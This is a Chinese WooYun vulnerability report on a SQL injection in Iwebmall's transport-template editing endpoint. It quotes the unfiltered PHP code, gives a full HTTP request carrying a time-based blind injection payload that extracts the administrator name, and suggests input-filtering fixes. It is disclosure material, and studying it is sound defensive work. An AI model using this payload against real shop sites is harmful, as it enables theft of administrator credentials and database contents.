当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087465

漏洞标题：Iwebmall 最新版SQL注入第十四枚（漏洞打包）

相关厂商：Jooyea

漏洞作者： 路人甲

提交时间：2014-12-18 11:32

修复时间：2015-03-18 11:34

公开时间：2015-03-18 11:34

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Iwebmall 最新版SQL注入第十四枚（漏洞打包）

详细说明：

看到wooyun上有人提了几个iweb的漏洞（ WooYun: iwebmall商城程序sql注入 ），我来捡捡漏儿吧，希望不要重复。
先把注入点拿出来：www.xxx.com/do.php?act=edit_transport_template，POST中的参数$id $transport_name $description存在注入，程序没有对其过滤，造成了注入。
先来看看这几个参数可以注入的证明吧

证明多处注入漏洞副本.jpg


以transport_name 为例进行证明
/action/goods/edit_transport_template.php

无关代码
//取得商品列表
	$post = $_POST;
	$id = $post['id'];
	$arr = array();
	$info['transport_name']=$post['transport_name'];
	$info['description'] = $post['description'];
	foreach ($post['transport_type'] as $k=>$v){
		$arr[$v]=array();
	}
	//查询开启的配送方式
	$sql = "select * from $t_transport where ifopen=1";
	$tran_list=$dbo->getRs($sql);
	
	//循环获得前台传来的值，通过tran_type字段作为数组下标
	foreach ($tran_list as $val){	
		$arr[$val['tranid']]['frist']=$post['frist'.$val['tranid']];
		$arr[$val['tranid']]['second']=$post['second'.$val['tranid']];		
		if(isset($post['ord_item_dest'.$val['tranid']])){
			foreach ($post['ord_item_dest'.$val['tranid']] as $k=>$v){
				$v = substr($v,0,-1);
				$areaarr = explode(",",$v);
				foreach ($areaarr as $key=>$value){
					$arr[$val['tranid']][$value]=array("frist"=>$post['ord_area_frist'.$val['tranid']][$k],"second"=>$post['ord_area_second'.$val['tranid']][$k]);
				}
			}
		}
	}
	$info['shop_id']= get_sess_shop_id();
	$info['content'] = serialize($arr);
	if ($dbo->updatebyarr($info,$t_transport_template,"id='$id'")) {
		action_return(1,$m_langpackage->m_edit_success."！","modules.php?app=goods_list");
	}else{
		echo "no";
	}
无关代码


再去看看updatebyarr()
/iweb_mini_lib/cdbex.class.php

public  function updatebyarr($info,$table,$con){
		$i=0;
		foreach ($info as $key=>$value){
			if ($i==0){
				$change = "`$key`='$value'";
			} else{
				$change .=",`$key`='$value'";
			}
			$i++;
		}
		$sql = "update `$table` set $change where $con";
		return mysql_query($sql);
	}


可以看到，$info['transport_name']没有经过任何过滤就带入了SQL语句查询，造成了注入。
Iweb没有错误回显，这里用time-based blind进行注入测试。
Payload:

POST /do.php?act=edit_transport_template HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/modules.php?app=edit_transport_template&id=16
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1418653330;
 [email protected]; iweb_iweb_login=xxxx%40163.com; PHPSESSID=l1g8disfqv5ov62d8j0m4msob6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 257
id=16&transport_name=' or (select if(ord(mid((select admin_name from imall_admin_user where admin_id=1 limit 0,1),1,1))=122,sleep(3),0))
 or '&description=description&transport_type%5B%5D=1&frist1=10&second1=20&frist2=0.00&second2=0.00&sub=%E7%A1%AE%E5%AE%9A


测试时：登陆后访问如上的请求，抓包，按上面的payload进行修改即可。
因为是time-based blind 注入，猜测管理员用户名的第一个字母时，若错误，延迟2s左右，如下图

猜测失败副本.jpg


若正确，延迟5s左右，如下图

猜测成功副本.jpg


按上面的方法依次做下去（burp intruder或者自己写个脚本跑），可测试管理员用户名为：admin，密码为： 21232f297a57a5a743894a0e4a801fc3

漏洞证明：

见 详细说明

修复方案：

id:intval
transport_name:short_check
description:short_check

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝